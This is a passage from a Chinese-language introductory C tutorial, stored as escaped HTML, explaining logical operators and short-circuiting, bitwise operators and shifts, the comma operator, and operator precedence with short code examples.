\u0026lt; 10\u003c/code\u003e和\u003ccode\u003ey \u0026gt; 20\u003c/code\u003e同时为真,\u003ccode\u003ex \u0026lt; 10 \u0026amp;\u0026amp; y \u0026gt; 20\u003c/code\u003e才会为真。\u003c/p\u003e\u003cp\u003e下面是否运算符的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!(x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is not less than 12\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于否运算符\u003ccode\u003e!\u003c/code\u003e具有比\u003ccode\u003e\u0026lt;\u003c/code\u003e更高的优先级,所以必须使用括号,才能对表达式\u003ccode\u003ex \u0026lt; 12\u003c/code\u003e进行否运算。当然,合理的写法是\u003ccode\u003eif (x \u0026gt;= 12)\u003c/code\u003e,这里只是为了举例。\u003c/p\u003e\u003cp\u003e对于逻辑运算符来说,任何非零值都表示真,零值表示伪。比如,\u003ccode\u003e5 || 0\u003c/code\u003e会返回\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e5 \u0026amp;\u0026amp; 0\u003c/code\u003e会返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e逻辑运算符还有一个特点,它总是先对左侧的表达式求值,再对右边的表达式求值,这个顺序是保证的。如果左边的表达式满足逻辑运算符的条件,就不再对右边的表达式求值。这种情况称为“短路”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number != \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"number\"\u003e12\u003c/span\u003e/number == \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e左侧的表达式(\u003ccode\u003enumber != 0\u003c/code\u003e)为伪,即\u003ccode\u003enumber\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e时,右侧的表达式(\u003ccode\u003e12/number == 2\u003c/code\u003e)是不会执行的。因为这时左侧表达式返回\u003ccode\u003e0\u003c/code\u003e,整个\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e表达式肯定为伪,就直接返回\u003ccode\u003e0\u003c/code\u003e,不再执行右侧的表达式了。\u003c/p\u003e\u003cp\u003e由于逻辑运算符的执行顺序是先左后右,所以下面的代码是有问题的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((x++ \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u0026amp;\u0026amp; (x + y \u0026lt; \u003cspan class=\"number\"\u003e20\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,执行左侧表达式后,变量\u003ccode\u003ex\u003c/code\u003e的值就已经变了。等到执行右侧表达式的时候,是用新的值在计算,这通常不是原始意图。\u003c/p\u003e\u003ch3 id=\"位运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%8D%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"位运算符\"\u003e\u003c/a\u003e位运算符\u003c/h3\u003e\u003cp\u003eC 语言提供一些位运算符,用来操作二进制位(bit)。\u003c/p\u003e\u003cp\u003e(1)取反运算符\u003ccode\u003e~\u003c/code\u003e\u003c/p\u003e\u003cp\u003e取反运算符\u003ccode\u003e~\u003c/code\u003e是一个一元运算符,用来将每一个二进制位变成相反值,即\u003ccode\u003e0\u003c/code\u003e变成\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e1\u003c/code\u003e变成\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 01101100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e~ \u003cspan class=\"number\"\u003e10010011\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e~\u003c/code\u003e对每个二进制位取反,就得到了一个新的值。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e~\u003c/code\u003e运算符不会改变变量的值,只是返回一个新的值。\u003c/p\u003e\u003cp\u003e(2)与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。当两个二进制位都为\u003ccode\u003e1\u003c/code\u003e,就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 00010001\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e \u0026amp; \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两个八位二进制数进行逐位比较,返回一个新的值。\u003c/p\u003e\u003cp\u003e与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026amp;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026amp; \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026amp;= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)或运算符\u003ccode\u003e|\u003c/code\u003e\u003c/p\u003e\u003cp\u003e或运算符\u003ccode\u003e|\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。两个二进制位只要有一个为\u003ccode\u003e1\u003c/code\u003e(包含两个都为\u003ccode\u003e1\u003c/code\u003e的情况),就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 10111111\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e | \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或运算符\u003ccode\u003e|\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e|=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val | \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval |= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)异或运算符\u003ccode\u003e^\u003c/code\u003e\u003c/p\u003e\u003cp\u003e异或运算符\u003ccode\u003e^\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。两个二进制位有且仅有一个为\u003ccode\u003e1\u003c/code\u003e,就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 10101110\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e ^ \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e异或运算符\u003ccode\u003e^\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e^=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val ^ \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval ^= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(5)左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e将左侧运算数的每一位,向左移动指定的位数,尾部空出来的位置使用\u003ccode\u003e0\u003c/code\u003e填充。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1000101000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10001010\u003c/span\u003e \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e10001010\u003c/code\u003e的每一个二进制位,都向左侧移动了两位。\u003c/p\u003e\u003cp\u003e左移运算符相当于将运算数乘以2的指定次方,比如左移2位相当于乘以4(2的2次方)。\u003c/p\u003e\u003cp\u003e左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026lt;\u0026lt;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026lt;\u0026lt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(6)右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e将左侧运算数的每一位,向右移动指定的位数,尾部无法容纳的值将丢弃,头部空出来的位置使用\u003ccode\u003e0\u003c/code\u003e填充。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 00100010\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10001010\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e10001010\u003c/code\u003e的每一个二进制位,都向右移动两位。最低的两位\u003ccode\u003e10\u003c/code\u003e被丢弃,头部多出来的两位补\u003ccode\u003e0\u003c/code\u003e,所以最后得到\u003ccode\u003e00100010\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,右移运算符最好只用于无符号整数,不要用于负数。因为不同系统对于右移后如何处理负数的符号位,有不同的做法,可能会得到不一样的结果。\u003c/p\u003e\u003cp\u003e右移运算符相当于将运算数除以2的指定次方,比如右移2位就相当于除以4(2的2次方)。\u003c/p\u003e\u003cp\u003e右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026gt;\u0026gt;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026gt;\u0026gt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"逗号运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%97%E5%8F%B7%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"逗号运算符\"\u003e\u003c/a\u003e逗号运算符\u003c/h3\u003e\u003cp\u003e逗号运算符用于将多个表达式写在一起,从左到右依次运行每个表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e10\u003c/span\u003e, y = \u003cspan class=\"number\"\u003e20\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,有两个表达式(\u003ccode\u003ex = 10\u003c/code\u003e和\u003ccode\u003ey = 20\u003c/code\u003e),逗号使得它们可以放在同一条语句里面。\u003c/p\u003e\u003cp\u003e逗号运算符返回最后一个表达式的值,作为整个语句的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,逗号的优先级低于赋值运算符,所以先执行赋值运算,再执行逗号运算,变量\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"运算优先级\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E4%BC%98%E5%85%88%E7%BA%A7\" class=\"headerlink\" title=\"运算优先级\"\u003e\u003c/a\u003e运算优先级\u003c/h3\u003e\u003cp\u003e优先级指的是,如果一个表达式包含多个运算符,哪个运算符应该优先执行。各种运算符的优先级是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e4\u003c/span\u003e * \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,表达式\u003ccode\u003e3 + 4 * 5\u003c/code\u003e里面既有加法运算符(\u003ccode\u003e+\u003c/code\u003e),又有乘法运算符(\u003ccode\u003e*\u003c/code\u003e)。由于乘法的优先级高于加法,所以会先计算\u003ccode\u003e4 * 5\u003c/code\u003e,而不是先计算\u003ccode\u003e3 + 4\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果两个运算符优先级相同,则根据运算符是左结合,还是右结合,决定执行顺序。大部分运算符是左结合(从左到右执行),少数运算符是右结合(从右到左执行),比如赋值运算符(\u003ccode\u003e=\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e * \u003cspan class=\"number\"\u003e6\u003c/span\u003e / \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e*\u003c/code\u003e和\u003ccode\u003e/\u003c/code\u003e的优先级相同,它们都是左结合运算符,所以从左到右执行,先计算\u003ccode\u003e5 * 6\u003c/code\u003e,再计算\u003ccode\u003e6 / 